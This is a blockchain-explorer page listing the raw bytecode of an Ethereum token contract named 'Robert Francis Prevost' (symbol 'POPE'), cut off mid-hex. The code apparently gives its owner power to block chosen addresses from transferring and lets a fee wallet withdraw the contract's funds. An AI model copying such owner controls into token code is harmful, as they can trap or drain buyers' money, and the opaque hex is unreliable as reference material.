Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x0a5E011c02a4ABB4637EdB23F5941AFa221d7AE0
Balance 0 ETH
Nonce 1
Code Size 16926 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

16926 bytes
0x608060405260043610610184575f3560e01c806370a08231116100d057806395d89b4111610089578063c9567bf911610063578063c9567bf91461052d578063dd62ed3e14610543578063ec1f3f631461057f578063faacf31e146105a75761018b565b806395d89b411461049d578063a9059cbb146104c7578063bf474bed146105035761018b565b806370a08231146103a5578063715018a6146103e15780637d1db4a5146103f75780638cd4426d146104215780638da5cb5b146104495780638f9a55c0146104735761018b565b806323b872dd1161013d5780634c8afff4116101175780634c8afff41461032957806351bc3c851461035157806356ec63a5146103675780636fc3eaec1461038f5761018b565b806323b872dd14610287578063313ce567146102c35780633bbac579146102ed5761018b565b806306fdde031461018f578063095ea7b3146101b95780630faee56f146101f5578063109daa991461021f57806317090ec81461023557806318160ddd1461025d5761018b565b3661018b57005b5f80fd5b34801561019a575f80fd5b506101a36105cf565b6040516101b09190612fa1565b60405180910390f35b3480156101c4575f80fd5b506101df60048036038101906101da9190613052565b61060c565b6040516101ec91906130aa565b60405180910390f35b348015610200575f80fd5b50610209610629565b60405161021691906130d2565b60405180910390f35b34801561022a575f80fd5b5061023361062f565b005b348015610240575f80fd5b5061025b60048036038101906102569190613115565b610703565b005b348015610268575f80fd5b506102716108ff565b60405161027e91906130d2565b60405180910390f35b348015610292575f80fd5b506102ad60048036038101906102a89190613140565b610923565b6040516102ba91906130aa565b60405180910390f35b3480156102ce575f80fd5b506102d76109f7565b6040516102e491906131ab565b60405180910390f35b3480156102f8575f80fd5b50610313600480360381019061030e91906131c4565b6109ff565b60405161032091906130aa565b60405180910390f35b348015610334575f80fd5b5061034f600480360381019061034a91906131c4565b610a51565b005b34801561035c575f80fd5b50610365610b3c565b005b348015610372575f80fd5b5061038d600480360381019061038891906131c4565b610bd3565b005b34801561039a575f80fd5b506103a3610cbf565b005b3480156103b0575f80fd5b506103cb60048036038101906103c691906131c4565b610d2e565b6040516103d891906130d2565b60405180910390f35b3480156103ec575f80fd5b506103f5610d74565b005b348015610402575f80fd5b5061040b610ec2565b60405161041891906130d2565b60405180910390f35b34801561042c575f80fd5b5061044760048036038101906104429190613052565b610ec8565b005b348015610454575f80fd5b5061045d611069565b60405161046a91906131fe565b60405180910390f35b34801561047e575f80fd5b50610487611090565b60405161049491906130d2565b60405180910390f35b3480156104a8575f80fd5b506104b1611096565b6040516104be9190612fa1565b60405180910390f35b3480156104d2575f80fd5b506104ed60048036038101906104e89190613052565b6110d3565b6040516104fa91906130aa565b60405180910390f35b34801561050e575f80fd5b506105176110f0565b60405161052491906130d2565b60405180910390f35b348015610538575f80fd5b506105416110f6565b005b34801561054e575f80fd5b5061056960048036038101906105649190613217565b61184f565b60405161057691906130d2565b60405180910390f35b34801561058a575f80fd5b506105a560048036038101906105a09190613255565b6118d1565b005b3480156105b2575f80fd5b506105cd60048036038101906105c89190613255565b61195d565b005b60606040518060400160405280601681526020017f526f62657274204672616e63697320507265766f737400000000000000000000815250905090565b5f61061f6106186119cd565b84846119d4565b6001905092915050565b60135481565b6106376119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba906132ca565b60405180910390fd5b5f600e819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516106f9919061332a565b60405180910390a1565b61070b6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906132ca565b60405180910390fd5b8015610804575f606460056009600a6107b0919061349f565b6461f313f8806107c091906134e9565b6107ca91906134e9565b6107d49190613557565b905061080260065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff163083611b97565b505b6064604660125461081591906134e9565b61081f9190613557565b6012819055506064604660135461083691906134e9565b6108409190613557565b6013819055506009600a610854919061349f565b6461f313f88061086491906134e9565b6010819055506009600a610878919061349f565b6461f313f88061088891906134e9565b6011819055505f601560176101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6108d7919061349f565b6461f313f8806108e791906134e9565b6040516108f491906130d2565b60405180910390a150565b5f6009600a61090e919061349f565b6461f313f88061091e91906134e9565b905090565b5f61092f848484611b97565b6109ec8461093b6119cd565b6109e7856040518060600160405280602881526020016141c16028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61099e6119cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129639092919063ffffffff16565b6119d4565b600190509392505050565b5f6009905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610a596119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adc906132ca565b60405180910390fd5b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b7c6119cd565b73ffffffffffffffffffffffffffffffffffffffff1614610b9b575f80fd5b5f610ba530610d2e565b90505f811115610bb957610bb8816129c5565b5b5f4790505f811115610bcf57610bce81612c2e565b5b5050565b610bdb6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5e906132ca565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cff6119cd565b73ffffffffffffffffffffffffffffffffffffffff1614610d1e575f80fd5b5f479050610d2b81612c2e565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d7c6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff906132ca565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60105481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f086119cd565b73ffffffffffffffffffffffffffffffffffffffff1614610f27575f80fd5b5f610fc56064610fb7848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f6a91906131fe565b602060405180830381865afa158015610f85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa9919061359b565b612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611023929190613618565b6020604051808303815f875af115801561103f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110639190613653565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600481526020017f504f504500000000000000000000000000000000000000000000000000000000815250905090565b5f6110e66110df6119cd565b8484611b97565b6001905092915050565b60125481565b6110fe6119cd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906132ca565b60405180910390fd5b601560149054906101000a900460ff16156111da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d1906136c8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611299573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112bd91906136fa565b90505f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561132a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134e91906136fa565b90505f61135c833084612d56565b90505f813b90505f8103611429578373ffffffffffffffffffffffffffffffffffffffff1663c9c6539630856040518363ffffffff1660e01b81526004016113a5929190613725565b6020604051808303815f875af11580156113c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113e591906136fa565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611619565b8160155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6064605e3073ffffffffffffffffffffffffffffffffffffffff166370a0823160155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016114c891906131fe565b602060405180830381865afa1580156114e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611507919061359b565b61151191906134e9565b61151b9190613557565b90505f8473ffffffffffffffffffffffffffffffffffffffff166370a0823160155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161157891906131fe565b602060405180830381865afa158015611593573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115b7919061359b565b9050670de0b6b3a7640000821080156115d75750670de0b6b3a764000081105b611616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160d90613796565b60405180910390fd5b50505b6116623060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61164d919061349f565b6461f313f88061165d91906134e9565b6119d4565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116aa30610d2e565b5f806116b4611069565b426040518863ffffffff1660e01b81526004016116d6969594939291906137b4565b60606040518083038185885af11580156116f2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906117179190613813565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117b7929190613863565b6020604051808303815f875af11580156117d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117f79190613653565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff0219169083151502179055506001601560176101000a81548160ff02191690831515021790555050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119116119cd565b73ffffffffffffffffffffffffffffffffffffffff1614611930575f80fd5b60095481111580156119445750600a548111155b61194c575f80fd5b8060098190555080600a8190555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661199d6119cd565b73ffffffffffffffffffffffffffffffffffffffff16146119bc575f80fd5b806012819055508060138190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a39906138fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa790613988565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b8a91906130d2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfc90613a16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6a90613aa4565b60405180910390fd5b5f8111611cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cac90613b32565b60405180910390fd5b5f611cbe611069565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d2c5750611cfc611069565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156126b35760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611dcf575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e22575060045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611e2a575f80fd5b601560179054906101000a900460ff1615611ff057611e47611069565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ecf575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f28575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fef574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa390613be6565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b5f600f5403612038576120356064612027600b54600f541161201457600754612018565b6009545b85612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90505b5f600f54111561206d5761206a606461205c600e5485612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612116575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612169575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612261576010548211156121b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121aa90613c4e565b60405180910390fd5b601154826121c085610d2e565b6121ca9190613c6c565b111561220b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220290613ce9565b60405180910390fd5b6122476064612239600b54600f54116122265760075461222a565b6009545b85612c9690919063ffffffff16565b612d0d90919063ffffffff16565b9050600f5f81548092919061225b90613d07565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122e957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561232d5761232a606461231c600c54600f54116123095760085461230d565b600a545b85612c9690919063ffffffff16565b612d0d90919063ffffffff16565b90505b5f61233730610d2e565b905060158054906101000a900460ff161580156123a0575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156123b85750601560169054906101000a900460ff165b80156123c5575060125481115b80156123d45750600d54600f54115b156126b1575f61241d6009600a6123eb919061349f565b6461f313f8806123fb91906134e9565b61240f606485612c9690919063ffffffff16565b612d0d90919063ffffffff16565b9050600281101561247b577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6012819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff601381905550612606565b60068110156125035761271060196009600a612497919061349f565b6461f313f8806124a791906134e9565b6124b191906134e9565b6124bb9190613557565b60128190555061271060196009600a6124d4919061349f565b6461f313f8806124e491906134e9565b6124ee91906134e9565b6124f89190613557565b601381905550612605565b600b81101561258b576103e860056009600a61251f919061349f565b6461f313f88061252f91906134e9565b61253991906134e9565b6125439190613557565b6012819055506103e860056009600a61255c919061349f565b6461f313f88061256c91906134e9565b61257691906134e9565b6125809190613557565b601381905550612604565b606460016009600a61259d919061349f565b6461f313f8806125ad91906134e9565b6125b791906134e9565b6125c19190613557565b601281905550606460016009600a6125d9919061349f565b6461f313f8806125e991906134e9565b6125f391906134e9565b6125fd9190613557565b6013819055505b5b5b601754431115612618575f6016819055505b60036016541061265d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265490613d98565b60405180910390fd5b61267a6126758561267085601354612df8565b612df8565b6129c5565b5f4790505f8111156126905761268f81612c2e565b5b60165f8154809291906126a290613d07565b91905055504360178190555050505b505b5f8111156127b25761270b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e1090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127a991906130d2565b60405180910390a35b6128028260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e6d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128a56128598284612e6d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e1090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6129488486612e6d90919063ffffffff16565b60405161295591906130d2565b60405180910390a350505050565b5f8383111582906129aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a19190612fa1565b60405180910390fd5b505f83856129b89190613db6565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156129fb576129fa613de9565b5b604051908082528060200260200182016040528015612a295781602001602082028036833780820191505090505b50905030815f81518110612a4057612a3f613e16565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612ae4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612b0891906136fa565b81600181518110612b1c57612b1b613e16565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b823060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119d4565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612be4959493929190613efa565b5f604051808303815f87803b158015612bfb575f80fd5b505af1158015612c0d573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612c92573d5f803e3d5ffd5b5050565b5f808303612ca6575f9050612d07565b5f8284612cb391906134e9565b9050828482612cc29190613557565b14612d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf990613fc2565b60405180910390fd5b809150505b92915050565b5f612d4e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612eb6565b905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610612d93578385612d96565b84845b91509150858282604051602001612dae929190614025565b60405160208183030381529060405280519060200120604051602001612dd5929190614117565b604051602081830303815290604052805190602001205f1c925050509392505050565b5f818311612e065782612e08565b815b905092915050565b5f808284612e1e9190613c6c565b905083811015612e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5a906141a2565b60405180910390fd5b8091505092915050565b5f612eae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612963565b905092915050565b5f8083118290612efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ef39190612fa1565b60405180910390fd5b505f8385612f0a9190613557565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f4e578082015181840152602081019050612f33565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612f7382612f17565b612f7d8185612f21565b9350612f8d818560208601612f31565b612f9681612f59565b840191505092915050565b5f6020820190508181035f830152612fb98184612f69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612fee82612fc5565b9050919050565b612ffe81612fe4565b8114613008575f80fd5b50565b5f8135905061301981612ff5565b92915050565b5f819050919050565b6130318161301f565b811461303b575f80fd5b50565b5f8135905061304c81613028565b92915050565b5f806040838503121561306857613067612fc1565b5b5f6130758582860161300b565b92505060206130868582860161303e565b9150509250929050565b5f8115159050919050565b6130a481613090565b82525050565b5f6020820190506130bd5f83018461309b565b92915050565b6130cc8161301f565b82525050565b5f6020820190506130e55f8301846130c3565b92915050565b6130f481613090565b81146130fe575f80fd5b50565b5f8135905061310f816130eb565b92915050565b5f6020828403121561312a57613129612fc1565b5b5f61313784828501613101565b91505092915050565b5f805f6060848603121561315757613156612fc1565b5b5f6131648682870161300b565b93505060206131758682870161300b565b92505060406131868682870161303e565b9150509250925092565b5f60ff82169050919050565b6131a581613190565b82525050565b5f6020820190506131be5f83018461319c565b92915050565b5f602082840312156131d9576131d8612fc1565b5b5f6131e68482850161300b565b91505092915050565b6131f881612fe4565b82525050565b5f6020820190506132115f8301846131ef565b92915050565b5f806040838503121561322d5761322c612fc1565b5b5f61323a8582860161300b565b925050602061324b8582860161300b565b9150509250929050565b5f6020828403121561326a57613269612fc1565b5b5f6132778482850161303e565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6132b4602083612f21565b91506132bf82613280565b602082019050919050565b5f6020820190508181035f8301526132e1816132a8565b9050919050565b5f819050919050565b5f819050919050565b5f61331461330f61330a846132e8565b6132f1565b61301f565b9050919050565b613324816132fa565b82525050565b5f60208201905061333d5f83018461331b565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156133c5578086048111156133a1576133a0613343565b5b60018516156133b05780820291505b80810290506133be85613370565b9450613385565b94509492505050565b5f826133dd5760019050613498565b816133ea575f9050613498565b8160018114613400576002811461340a57613439565b6001915050613498565b60ff84111561341c5761341b613343565b5b8360020a91508482111561343357613432613343565b5b50613498565b5060208310610133831016604e8410600b841016171561346e5782820a90508381111561346957613468613343565b5b613498565b61347b848484600161337c565b9250905081840481111561349257613491613343565b5b81810290505b9392505050565b5f6134a98261301f565b91506134b483613190565b92506134e17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846133ce565b905092915050565b5f6134f38261301f565b91506134fe8361301f565b925082820261350c8161301f565b9150828204841483151761352357613522613343565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6135618261301f565b915061356c8361301f565b92508261357c5761357b61352a565b5b828204905092915050565b5f8151905061359581613028565b92915050565b5f602082840312156135b0576135af612fc1565b5b5f6135bd84828501613587565b91505092915050565b5f6135e06135db6135d684612fc5565b6132f1565b612fc5565b9050919050565b5f6135f1826135c6565b9050919050565b5f613602826135e7565b9050919050565b613612816135f8565b82525050565b5f60408201905061362b5f830185613609565b61363860208301846130c3565b9392505050565b5f8151905061364d816130eb565b92915050565b5f6020828403121561366857613667612fc1565b5b5f6136758482850161363f565b91505092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6136b2601783612f21565b91506136bd8261367e565b602082019050919050565b5f6020820190508181035f8301526136df816136a6565b9050919050565b5f815190506136f481612ff5565b92915050565b5f6020828403121561370f5761370e612fc1565b5b5f61371c848285016136e6565b91505092915050565b5f6040820190506137385f8301856131ef565b61374560208301846131ef565b9392505050565b7f5061697220616c72656164792066756e646564000000000000000000000000005f82015250565b5f613780601383612f21565b915061378b8261374c565b602082019050919050565b5f6020820190508181035f8301526137ad81613774565b9050919050565b5f60c0820190506137c75f8301896131ef565b6137d460208301886130c3565b6137e1604083018761331b565b6137ee606083018661331b565b6137fb60808301856131ef565b61380860a08301846130c3565b979650505050505050565b5f805f6060848603121561382a57613829612fc1565b5b5f61383786828701613587565b935050602061384886828701613587565b925050604061385986828701613587565b9150509250925092565b5f6040820190506138765f8301856131ef565b61388360208301846130c3565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6138e4602483612f21565b91506138ef8261388a565b604082019050919050565b5f6020820190508181035f830152613911816138d8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613972602283612f21565b915061397d82613918565b604082019050919050565b5f6020820190508181035f83015261399f81613966565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a00602583612f21565b9150613a0b826139a6565b604082019050919050565b5f6020820190508181035f830152613a2d816139f4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613a8e602383612f21565b9150613a9982613a34565b604082019050919050565b5f6020820190508181035f830152613abb81613a82565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613b1c602983612f21565b9150613b2782613ac2565b604082019050919050565b5f6020820190508181035f830152613b4981613b10565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f613bd0604983612f21565b9150613bdb82613b50565b606082019050919050565b5f6020820190508181035f830152613bfd81613bc4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f613c38601983612f21565b9150613c4382613c04565b602082019050919050565b5f6020820190508181035f830152613c6581613c2c565b9050919050565b5f613c768261301f565b9150613c818361301f565b9250828201905080821115613c9957613c98613343565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613cd3601a83612f21565b9150613cde82613c9f565b602082019050919050565b5f6020820190508181035f830152613d0081613cc7565b9050919050565b5f613d118261301f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d4357613d42613343565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f613d82601783612f21565b9150613d8d82613d4e565b602082019050919050565b5f6020820190508181035f830152613daf81613d76565b9050919050565b5f613dc08261301f565b9150613dcb8361301f565b9250828203905081811115613de357613de2613343565b5b92915050565b7f4e487b7